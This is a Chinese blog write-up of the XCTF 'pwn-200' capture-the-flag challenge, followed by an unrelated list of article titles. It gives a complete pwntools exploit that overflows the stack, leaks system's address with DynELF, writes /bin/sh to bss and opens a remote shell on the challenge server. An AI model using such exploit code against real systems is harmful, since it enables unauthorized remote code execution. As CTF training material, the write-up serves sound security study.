题目连接 https://adworld.xctf.org.cn/media/task/attachments/49bd95c78386423997fa044a9e750015

借鉴

https://www.cnblogs.com/deerCode/p/11919638.html

https://blog.csdn.net/qq_43986365/article/details/95752798

read存在栈溢出

没有libc,也没有后门函数可以直接调用

用DynELF泄露出system地址,在bss段写入/bin/sh,用pppt来调用read执行system

exp如下

from  pwn import *
r=remote('111.198.29.45',53833) elf=ELF('pwn-200')
write_plt=elf.plt['write']
read_plt=elf.plt['read']
start_addr=0x80483d0
func_addr=0x08048484
ppp_addr=0x080485cd def leak(addr):
payload1='a'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(addr)+p32(4)
r.sendline(payload1)
data=r.recv(4)
return data print r.recv()
d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
payload2='a'*112+p32(start_addr)
r.sendline(payload2)
print r.recv() bss_addr=elf.bss()
payload3='a'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)
payload3+=p32(sys_addr)+p32(func_addr)+p32(bss_addr) r.sendline(payload3)
r.sendline('/bin/sh')
r.interactive()

最新文章

  1. HTTP压缩
  2. odbc错误信息一览表
  3. XSS挑战第一期Writeup
  4. Knockout.Js官网学习(style绑定、attr绑定)
  5. poj 3669 Meteor Shower(bfs)
  6. openjpa框架入门_项目 database 启动project 初始化(三)
  7. Android学习路径(十)怎么会Action Bar堆放在布局
  8. 使用JS实现鼠标悬浮切换显示
  9. django admin 修改批量操作内容
  10. 部署tinyproxy代理服务
  11. MT【250】距离0-7
  12. mysql查询某一个字段是否包含中文字符
  13. 【UWP】手动实现 WebAuthenticationBroker
  14. 20190312 Windows安装Kafka
  15. 代理设计模式 (静态代理设计模式)+ 动态代理(JDK和Cglib)
  16. Windows 2012桌面显示“我的电脑”
  17. SpringBoot 线程池配置 实现AsyncConfigurer接口方法
  18. VS调试-添加命令行参数
  19. Spring源码研究--下载-编译-导入eclipse-验证
  20. iOS 在系统设置中展示Version, Build, Git等信息

热门文章

  1. 使用iCamera 测试AR0331 300w高分辨率摄像头小结
  2. 网络基础TCP/IP
  3. Go 修改map slice array元素值
  4. python爬虫--爬虫介绍
  5. Ubuntu18.04 配置Cups PDF虚拟打印机服务
  6. Spring Cloud第十一篇 | 分布式配置中心高可用
  7. elasticsearch7.5.0+kibana-7.5.0+cerebro-0.8.5集群生产环境安装配置及通过elasticsearch-migration工具做新老集群数据迁移
  8. Java使用iBatis批量插入数据到Oracle数据库
  9. OpenSSL 自述
  10. [20191206]隐含参数_db_always_check_system_ts.txt